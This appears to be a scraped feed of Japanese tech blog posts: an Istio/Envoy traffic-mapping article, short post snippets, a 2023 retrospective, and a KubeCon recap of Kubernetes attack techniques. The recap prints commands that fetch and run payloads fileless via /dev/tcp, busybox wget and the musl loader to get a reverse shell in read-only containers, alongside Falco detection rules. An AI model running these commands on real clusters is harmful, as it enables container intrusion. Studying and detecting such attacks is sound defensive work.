リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-ingress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio IngressGatewayを置くことで、Istio IngressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyでほとんど同じリソースが登場しますが、 Gatewayは送信元Envoyだけで登場します。リソースの種類だけに着目すると、以下になります。Gatewayが送信元Envoyだけで登場することがわかりやすくなりました。マイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから別のPodへのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。GatewayとServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ \xd7 ✅ \xd7 ✅ ルート ✅ \xd7 ✅ \xd7 クラスター ✅ \xd7 ✅ \xd7 ✅ エンドポイント ✅ \xd7 ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで、同じリソースが登場します。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場することがわかりやすくなりました。サービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) へのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio EgressGatewayの一部として使用します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。他の場合とは異なり、送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、異なるリソースが抽象化します。PeerAuthenticationだけは、話を簡単にするために送信元と宛先が同じNamespaceであると仮定しているので、同じリソースが抽象化します。送信元Envoyの設定の抽象化で登場するリソースが宛先では登場せず、逆も然りです。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualServiceX 〃Y DestinationRuleX 〃Y ServiceEntry PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-egress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio EgressGatewayを置くことで、Istio EgressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで同じリソースが登場しません 。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場しないことがわかりやすくなりました。06. 翻訳されたEnvoy設定値を見てみる前章では、Envoyの具体的な設定値まで、言及しませんでした。本章では、さらに具体化します。各リソースの設定の翻訳によって、Envoyの具体的にどのような設定値になっているのかを解説します。Envoyの現在の設定を出力するEnvoyは、現在の設定を確認するためのエンドポイント (/config_dump) を公開しています。これにHTTPSリクエストを送信し、具体的な設定値を出力してみましょう\uD83D\uDC4D\uD83C\uDFFBリスナーを出力する/config_dumpのクエリストリングにresource={dynamic_listeners}をつけると、Envoyのリスナーを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentation▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dルートを出力する/config_dumpのクエリストリングにresource={dynamic_route_configs}をつけると、Envoyのルートを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-fcdc9d documentationクラスターを出力する/config_dumpのクエリストリングにresource={dynamic_active_clusters}をつけると、Envoyのクラスターを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationエンドポイントを出力する/config_dumpのクエリストリングにinclude_edsをつけると、Envoyのエンドポイントを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-fcdc9d documentationSupported load balancers — envoy 1.33.0-dev-8fd5cc documentation証明書を出力する/config_dumpのクエリストリングにresource={dynamic_active_secrets}をつけると、証明書を出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_secrets}\\" | yq -PConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationサービスメッシュ外からのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50000) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50000) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50000||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50000||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50000) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ istio-proxyコンテナのプロキシ先のIPアドレスについてistio-proxyコンテナは、ローカルホストを127.0.0.6とし、HTTPSリクエストをマイクロサービスに送信します。これは、127.0.0.1を指定してしまうと、istio-proxyコンテナからマイクロサービスへの通信がiptables上でループしてしまうためです。istio-proxyコンテナからマイクロサービスへの通信では、正しくはiptables上でISTIO_OUTPUTからPOSTROUTINGに通信を渡します。一方で、もしローカルホストが127.0.0.1であると、ISTIO_OUTPUTからISTIO_IN_REDIRECTに通信を渡すことになり、istio-proxyコンテナに再びリダイレクトしてしまいます。hatappi1225さんの解説が鬼わかりやすかったです\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F画像引用元:mercari engineeringInbound Forwarding - Google ドキュメントiptables から理解する Istio 1.10 から変更された Inbound Forwarding | メルカリエンジニアリングマイクロサービス間のHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50010) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50010) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50010||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50010) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:443) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:istio-egressgateway-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターをIstio EgressGateway 宛先ポートやホストで管理しています (例:outbound|443|istio-egressgateway-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Istio EgressGateway Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::443) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、Istio EgressGateway PodにL7ロードバランシングします。宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:external.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|443|external.com) 。エンドポイントを選びます。Envoyは、エンドポイントをエントリ済システムのIPアドレスや宛先ポートで管理しています (例::50010) 。エントリ済システムのIPアドレスは、開発者が設定する必要はなく、EnvoyがDNSから動的に取得します。 エントリ済システムにHTTPSリクエストを送信します。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio07. おわりにIstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのか、またEnvoyがどのようにHTTPSリクエストを処理するのかを解説しました。次々とサービスメッシュツールが登場したとしても、それがEnvoyを使用したサービスメッシュである限り、最終的にはEnvoyの設定値に行き着きます。そのため、抽象化されたEnvoyがどのように通信を扱うのかを一度でも理解すれば、様々なサービスメッシュツールで知識を流用できると思います。Istioはもちろん、他のEnvoyによるサービスメッシュツール (Consul、Ciliumなど) を使っている方の参考にもなれば幸いです\uD83D\uDC4D\uD83C\uDFFB謝辞今回、Kubernetesのネットワークを調査するにあたり、以下の方に知見をご教授いただきました。@ken5owata さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2024/01/16/013404","isoDate":"2024-01-15T16:34:04.000Z","dateMiliSeconds":1705336444000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws-advancedtier/","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"k8sgpt-operator 開発メモ (ARM Mac 向け)","contentSnippet":"Kubernetes クラスタ構築 AMD64 コンテナ環境セットアップ ~ Lima VM ~https://github.com/lima-vm/limaGetting Started については README.md 参照Limaでは、事前に定義した内容でVMを作ることができますDocker 環境を構築する場合のサンプルも公開されていますhttps://github.com/lima-vm/lima/blob/master/examples/docker.yaml今回は、amd64 の VM を作成したいため、docker.yaml に以下の行を追記...","link":"https://zenn.dev/tozastation/articles/711f2bff2cc656","isoDate":"2024-01-10T00:17:57.000Z","dateMiliSeconds":1704845877000,"authorName":"tozastation","authorId":"tozastation"},{"title":"PipeCDのインストールとカスタマイズ","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-installation/","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pipecd-overview/","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL の Linux から Windows のブラウザで URL を開く","contentSnippet":"課題 WSL の Linux 内で awscli を使って SSO 認証する場合の aws sso login 実行時や GitHub の CLI である gh (cli.github.com ) コマンドで gh auth login を実行した場合に可能であれば自動でブラウザで指定の URL","link":"https://blog.1q77.com/2024/01/open-browser-in-wsl/","isoDate":"2024-01-07T11:43:53.000Z","dateMiliSeconds":1704627833000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年の振り返りをする","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2023-06-22 3-shake SRE Tech Talk #6これまで対外向けの登壇は行なったことが無かったのでこれが登壇デビューでした。DBREノススメ所属会社である株式会社スリーシェイクの主催するイベントでしたが、一度登壇すると登壇のハードルが低くなるのでとてもいい機会でした。今の会社にDBREerポジションで入社して6か月目の登壇なので今見ると当時と違う意見の部分もあったりしますが、今もDBREもSREも何なのか分かりません。2023-09-26 YugabyteDB Japan Meetup #3別件でYugabyte Japanの方と話していたところ、登壇してみないか? と誘われたためホイホイ話しに行った登壇でした。紹介 データベース信頼性エンジニアリングSRETTの方ではSREの存在を認知している方が多いだろうと想定して何故DBREが必要なのか? という話しをしたのに対して、こちらではDB関係者が多いと想いDBAとDBREという切り口で発表しました。YugabyteDBはドキュメントを始めから読む活動をしていたり(2023年後半はあまり出来ていませんが)、ローカル環境で動かして遊んだりはしていたもののYugabyteDBについて話せるほどの理解は(今も)なく次にYugabyteDB Japan Meetupで話す機会があればYugabyteDBについてを主題に話したいと思いました。2023-10-12 3-shake SRE Tech Talk #76月の登壇と同様に所属会社主催のイベントでした。KubernetesでDBを動かしたい2021年ごろにDBをKubernetesで動かす記事見て以来DB on Kubernetesには興味があったのですが、Kubernetes自体やデータベースのお勉強をしていたらなかなかDB on k8sまでたどりつけていませんでした。それをイベント駆動で無理やり勉強したのがこのイベントでした。内容としてはありきたりですが、Zalando Postgres Operatorを動かしましたというだけのものですが、ここでDB on k8sをさわってからはいろいろな機会でDB on k8sを触るようになりました。2023-12-26 第44回 PostgreSQLアンカンファレンス@オンライン年内最後の登壇はPostgreSQLアンカンファレンスでした。pgrollで実現するスキーマブルーグリーンデプロイメントちょうど登壇しやすいネタを抱えてたのとアドベントカレンダーでそーだいさんが運用・開発よりの話しが足りないと書いていたのを見て、DBREを名乗っているし話さなきゃいけないだろと思ったので登壇しました。もっと運用よりだったりサービス開発だったり設計よりの話も募集中です。 大体そういうの喋る担当が自分だけなのでめちゃめちゃ需要があるので気軽にどうぞ。登壇自体はpodman-composeとdocker composeの差分で悲しいライブデモになりました。検証環境と登壇環境はそろえなきゃいけないなと思いました。ブログ関連はてなブログでは主に読んだ論文やドキュメントについてまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。はてなブログでやっているYugabyteDBのドキュメントを全部読む取り組みは途中で止ってしまっているので動かします。zennの方は社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2024年は技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。アドベントカレンダーは大風呂敷で畳みきれなかったデータベースエンジニアのためのDB on Kubernetes入門ガイドに始まり、誰得なのかわからないAlloyDB omni on Kubernetesを眺めると続いて、sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメントを書きました。ターゲットは誰だったんですかね?まとめ2023年は今までインプット重視だったところからアウトプットを考えだした年でした。これはそろそろアウトプットをしなきゃいけないという思いもあったものの、2023年1月に現職に転職し社外へのアウトプットをする人が多くいたからという面も多大にあります。人は周りの5人の平均になるという言葉があるらしいですが、まさしくその例で環境が変り周りの人が変ったため個人の方向性も変ったのではないかと思います。外部にアウトプットすることが偉いわけではありませんが、外部に発信すると新しい機会も産まれましたし1来年以降も継続していきたいです。↩","link":"https://nnaka2992.hatenablog.com/entry/zatu/2023_furikaeri","isoDate":"2023-12-31T13:00:10.000Z","dateMiliSeconds":1704027610000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2023 Recap: Attacking Kubernetes 編","contentSnippet":"本記事は 3-shake Advent Calendar 2023 最終日の記事です。こんにちは、きょー (@kyohmizu) です少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。 speakerdeck.comそれではセッション紹介に入ります。K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Securityセッション情報Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。クラスタへの初期アクセスの後、kubelet API のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。Sidecar Injection 攻撃 は Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか?という点です。サイドカーかはあまり関係ない気がします。そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。Kubernetes セキュリティとして、イメージスキャンアドミッションコントロールランタイムセキュリティの3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。- list: shell_binaries items: [bash, csh, ksh, sh, tcsh, zsh, dash]- macro: shell_procs condition: proc.name in (shell_binaries)- rule: shell_in_container desc: notice shell activity within a container condition: > spawned process and container and shell_procs output: > shell in a container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline) priority: WARNINGArbitrary Code & File Execution in R/O FS – Am I Write?セッション情報readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。マルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curl や wget のようなツールが含まれていなければマルウェアをダウンロードできません。それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。ケース1curl や wget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか?/dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。$ function __bindown () { read proto server path <<<$(echo ${1//// }) FILE=/${path// //} HOST-${server//:*} PORT=${server//*:} [[ x\\"$(HOST)\\" == x\\"${PORT}\\" ]] && PORT=8080 exec 3<>/dev/tcp/${HOST]/$PORT echo -en \\"GET ${(FILE) HTTP/1.0\\\\r\\\\nHost: $(HOST)\\\\r\\\\n\\\\r\\\\n\\" >&3 (while read line; do [[ \\"$line\\" == $\'\\\\r\' ]] && break done && cat) <&3 exec 3>&-}$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。ケース2今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。curl や wget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。$ mount | grep shmshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。$ dde=$(mktemp -p /dev/shm)$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde$ code=$(mktemp -p /dev/shm)$ echo \\"6a295899...60f05\\" > $code$ sh $dde -x < $codeケース3ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。termination-log にファイルを保存し、リンカを利用してファイルを実行します。Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)$ mount | grep termination-log/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。$ lddmusl libc (x86_64)Version 1.2.4_git20230717Dynamic Program LoaderUsage: /lib/ld-musl-x86_64.so.1 [options] [--] pathnameldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log$ /lib/ld-musl-x86_64.so.1 /dev/termination-logケース1, 2と同様、実行後にはリバースシェルが確立されています。攻撃テクニックの説明は以上となります。seccomp や SELinux の活用termination-log の場所の指定コンテナ内の通信やプロセスの監視seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common tactic for threat actors to stash their readable+writable+(sometimes)executable files. condition: > spawned_process and (proc.exe startswith \\"/dev/shm/\\" or (proc.cwd startswith \\"/dev/shm/\\" and proc.exe startswith \\"./\\" ) or (shell_procs and proc.args startswith \\"-c /dev/shm\\") or (shell_procs and proc.args startswith \\"-i /dev/shm\\") or (shell_procs and proc.args startswith \\"/dev/shm\\") or (proc.args contains \\"/dev/shm\\" or proc.cwd startswith \\"/dev/shm\\") or (proc.cwd startswith \\"/dev/shm/\\" and proc.args startswith \\"./\\" )) and not container.image.repository in (falco_privileged_images, trusted_images) output: \\"File execution detected from /dev/shm (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)\\" priority: 